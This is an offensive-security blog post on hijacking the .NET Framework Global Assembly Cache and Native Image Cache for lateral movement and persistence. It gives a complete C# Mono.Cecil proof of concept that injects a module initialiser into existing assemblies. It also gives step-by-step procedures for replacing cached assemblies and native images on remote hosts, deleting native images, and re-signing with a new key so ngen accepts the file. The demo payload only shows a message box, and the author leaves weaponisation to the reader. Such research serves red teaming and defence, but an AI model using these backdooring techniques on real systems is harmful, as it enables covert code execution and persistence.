TLDR
.NET framework dependencies follow a different search path than traditional DLLs and don’t always follow the “first found, first loaded” rule. Two new repositories exist as part of this alternative search path: (i) the Global Assembly Cache (GAC), which stores shared .NET assemblies and helps manage versioning; (ii) the Native Image Cache (NIC), which holds precompiled assemblies to improve performance. This blog documents techniques for hijacking both the GAC and NIC for lateral movement, elevated persistence, and other nefarious (but legally authorised) things.
Table of Contents
- TLDR
- Pre-Requisite Background Information
- Backdooring .NET Assemblies and Strong Name Verification
- GAC Hijacking
- NIC Hijacking
- Conclusion
Pre-Requisite Background Information
If you're familiar with strong/weak named assemblies, .NET search paths, the GAC and the NIC, you can skip this.
The focus of this post is specifically on .NET framework assemblies and native images.
Strong versus Weak Named Assemblies
.NET assemblies can either be strong-named or weak-named.
A strong-named assembly has a unique identity based on its name, version, culture (i.e., region-specific information), and a public key token. The idea being that if you depend on a specific version of an assembly this is a way to ensure you load the correct version of the file. In practice, this is not entirely true, which we'll talk about later.
ExampleLibrary, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
A weak-named assembly lacks this cryptographic signature and is identified only by its file name, making it easier to replace or modify but less secure and version-resilient.
ExampleLibrary, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
To check the naming used by an assembly you can use PowerShell:
[System.Reflection.AssemblyName]::GetAssemblyName("C:\path\ExampleLibrary.dll").FullName
Search Paths for Assemblies
The search path for .NET framework dependencies is different to traditional DLLs and does not follow the "first found, first loaded" rule. Notably two new concepts are introduced:
- Global Assembly Cache (GAC): A system-wide repository that stores strong named assemblies. These are standard .NET assemblies (
*.dll
) placed in a structured directory hierarchy based on their strong name, version, and public key token. The locations are architecture specific (e.g.,GAC_32
,GAC_64
,GAC_MSIL
). An example path:
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\TaskScheduler\v4.0_10.0.0.0__31bf3856ad364e35\TaskScheduler.dll
- Native Image Cache (NIC): A system-wide repository that stores precompiled native images (generated by
ngen.exe
), designed to improve startup speed by bypassing just-in-time compilation. These are completely different binaries (*.ni.dll
) again placed in a structured directory hierarchy. The locations are architecture specific (e.g.,NativeImages_v4.0.30319_32
, *_64
, *_ARM64
). Note that MSIL is missing from these examples; in this case the MSIL assembly gets converted into a hardware-specific image. An example path:
C:\Windows\assembly\NativeImages_v4.0.30319_64\TaskScheduler\b1de85d83169a17b37448b4e3252d4a7\TaskScheduler.ni.dll
Both the GAC and NIC are optional, and .NET assemblies can be included in none, one or both.
As part of the search path, the GAC is checked first, then the NIC, then other paths; however, that's not necessarily indicative of which file gets loaded first. It is not first found, first loaded like traditional DLLs. Instead the load priority appears to be:
- If the native image exists then this file is always loaded first.
- If the GAC exists then this is loaded.
- Other paths are checked (application folder, probing paths, etc).
This is an important concept to understand, as the GAC and the NIC take priority even over assemblies in the same directory as your application.
An example of this is shown below in Procmon for the loading of TaskScheduler.dll
by mmc.exe
. Although the GAC is checked first, as the native image exists (TaskScheduler.ni.dll
), this is what is actually loaded.

GAC and NIC Permissions
Files and folders in the GAC and NIC can be modified by members of the local Administrators
group.
Example GAC permissions:

Example NIC permissions:

Backdooring .NET Assemblies and Strong Name Verification
There's some great prior research in the area of modifying existing .NET assemblies. Notable shout outs to:
- @guitmz: https://www.guitmz.com/net-injection-cecil/
- @xpn: https://blog.xpnsec.com/building-modifying-packing-devops/
Both blogs talk about using Cecil to modify an existing .NET assembly, and are strongly recommended reads.
A handy thing about this approach is that if the assembly for modification has a strong name then this name does not change. The verification of the strong name however will fail.
Does that matter? A lot of the time no. As long as the strong name matches, the assembly will get loaded. Heck, even a lot of legitimate assemblies fail strong name verification, including some from Microsoft. Here's one of many examples:

If an assembly fails strong name verification it is not possible for it to be added to the GAC or NIC using Microsoft tooling. An example of this is shown below for an assembly that I modified. The GAC addition (using gacutil.exe /i
) and NIC addition (using ngen.exe install
) fails as the strong name could not be verified.

This isn't really a notable barrier to prevent abuse though and the limitations of strong naming is acknowledged by Microsoft:

GAC Hijacking
This approach involves taking the existing .NET assembly in the GAC, modifying it (without re-signing it), then replacing the assembly in the GAC. Strong name verification will fail, but the assembly will still be loaded without issues.
One major factor to the success of this technique is whether there's a native image for this .NET assembly in the NIC. If a native image exists then the modified GAC assembly will NOT be loaded (as the native image will be loaded instead). For a lot of default Microsoft assemblies this will be the case. You have a couple of options here:
- Delete the native image. This might have performance implications.
- Target something that's in the GAC but does not have a native image in the NIC. That's quite easy to check. Just do a directory listing of the NIC and see if the associated
*.ni.dll
file exists. If it doesn't exist, you're good to go.
In the following example we'll target MIGUIControls.dll
which is loaded by the Task Scheduler snap-in for mmc.exe
. This does have a native image by default. For simplicity for this post I'll take the route of deleting it (remotely as part of the attack flow) to prevent it from being loaded over our GAC assembly.
Step one is to grab the correct version of the assembly from the remote system.

Next is to modify the assembly. I've provided a helper C# POC for this below. When compiling target .NET framework 4.7.2 and install the Mono.Cecil
Nuget package. Big shout out again to the blogs mentioned in the prior research which this is based on (@guitmz, @xpn). To keep things simple this adds a module initialiser to the assembly, which on assembly load spawns msg.exe
to generate a MessageBox. I'll leave OPSEC weaponisation to the reader.
using Mono.Cecil;
using Mono.Cecil.Cil;
using System;
using System.IO;
using System.Linq;
using System.Reflection;
namespace MinimalPOC
{
class Program
{
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("Usage: MinimalPOC <inputPath> <outputPath> [snkPath]");
return;
}
string inputPath = args[0];
string outputPath = args[1];
string snkPath = args.Length >= 3 ? args[2] : null;
var assembly = AssemblyDefinition.ReadAssembly(inputPath, new ReaderParameters { ReadWrite = true });
var moduleType = assembly.MainModule.Types.FirstOrDefault(t => t.Name == "<Module>");
if (moduleType == null)
{
Console.WriteLine("[-] <Module> type not found.");
return;
}
var cctor = moduleType.Methods.FirstOrDefault(m => m.Name == ".cctor");
if (cctor == null)
{
cctor = new MethodDefinition(".cctor",
Mono.Cecil.MethodAttributes.Private |
Mono.Cecil.MethodAttributes.HideBySig |
Mono.Cecil.MethodAttributes.Static |
Mono.Cecil.MethodAttributes.SpecialName |
Mono.Cecil.MethodAttributes.RTSpecialName,
assembly.MainModule.TypeSystem.Void
);
moduleType.Methods.Add(cctor);
}
else
{
Console.WriteLine("[-] Module initializer already exists.");
return;
}
var il = cctor.Body.GetILProcessor();
il.Body.Variables.Clear();
il.Body.Instructions.Clear();
var startRef = assembly.MainModule.ImportReference(
typeof(System.Diagnostics.Process).GetMethod("Start", new[] { typeof(string), typeof(string) })
);
il.Append(il.Create(OpCodes.Nop));
il.Append(il.Create(OpCodes.Ldstr, @"C:\Windows\System32\msg.exe"));
il.Append(il.Create(OpCodes.Ldstr, "* \"Flow hijacked\""));
il.Append(il.Create(OpCodes.Call, startRef));
il.Append(il.Create(OpCodes.Pop));
il.Append(il.Create(OpCodes.Ret));
Console.WriteLine("[*] Injected IL.");
if (string.IsNullOrEmpty(snkPath))
{
assembly.Write(outputPath);
}
else
{
Console.WriteLine("[*] Re-signing assembly");
var keyPairBytes = File.ReadAllBytes(snkPath);
var writerParams = new WriterParameters
{
StrongNameKeyPair = new StrongNameKeyPair(keyPairBytes)
};
assembly.Write(outputPath, writerParams);
}
Console.WriteLine($"[*] Assembly written to: {outputPath}");
}
}
}
Run this with two arguments: the original (legitimate) file and the output path of the modified assembly. Ignore the third argument for now (that's used later in NIC hijacking). We can see that the strong name is identical for the modified assembly.

Now upload this to the system system, replacing the original file in the GAC. Then delete the associated native image folder.

Open Task Scheduler and we get code execution.

NIC Hijacking
This approach involves modifying the native image file (*.ni.dll
) on the remote system.
As a native image is loaded with the highest priority during dependency resolution, it's a highly effective way to get malicious code execution. Below I document two ways to approach this.
The Easy (PE) Way
The approach is almost too simple. Find a remote native image, download it, modify it like a standard PE backdoor, reupload it, wait for a program to load it.
As native images are dynamically generated for each particular system there's no digital signatures to bypass, and curiously, no integrity verification. There's not much to it.
One major warning to this is make sure your PE backdoor continues to execute the legitimate code, otherwise you're going to break remote applications loading this native image.
Here's an example where I've added some PIC shellcode to spawn a MessageBox to TaskScheduler.ni.dll
(using a non-public tool but there's many publicly available).

When the Task Scheduler snap-in is loaded on the remote system, the modified native image gets loaded, the shellcode executes, and the MessageBox is displayed.

When writing this post I realised a similar technique was used in the UAC bypass by @axagarampur. I'm surprised it didn't get much traction for other uses.
The Harder (Assembly) Way
What if you want to modify the original .NET assembly rather than the native image? You need to get the original assembly from which the native image was generated, modify that, generate a new native image, then replace the target native image on the target.
Local Compilation
Modifying the .NET assembly is the easy part. Getting a working native image is not as straightforward. Practically you'd ideally want to generate the native image locally/offline (i.e., outside of the target environment); however, I found that these native images are not super reliable. It works - sometimes.

It seems quite sensitive to system-specific information to get a working native image. When it doesn't work, it's thankfully non-fatal and it just doesn't get loaded. It's easier to just go the PE modification route.
Remote Compilation
One alternative but 100% reliable way which I'm only really including for completeness would be to generate the native image on the target system.
The interesting part of this is that as I mentioned earlier if the strong name validation fails, then native image generation fails. So the workaround is to re-sign your modified .NET assembly. When you generate the native image it's now done on an assembly with a valid signature. Then you can use the newly compiled native image (with the incorrect strong name) to replace the original one (with the correct strong name). Again, it works, and no verification.
If you want to test this using the C# shown earlier first (locally) generate an SNK file for signing.
& "C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\sn.exe" -k "C:\temp\modified\mykey.snk"
Run the C# code from earlier but now passing a third argument of the path to the SNK. It will generate the assembly with an entirely new strong name. In this example we're again targeting MIGUIControls.dll
.

This is still only the .NET assembly. Copy it to the remote (target) system, and remotely execute ngen.exe
to generate the native image.

Now overwrite the original native image with the newly generated one.

Then opening the Task Scheduler gives us code execution again.

Conclusion
Hijacking/backdooring the .NET framework GAC or NIC is an interesting way to get your code loaded into applications that already exist on a remote system.
It's also a great way to dechain the upload from the execution. There's lots of .NET assemblies that get executed all of the time. Just upload and wait. I'll leave that up to the reader to identify those.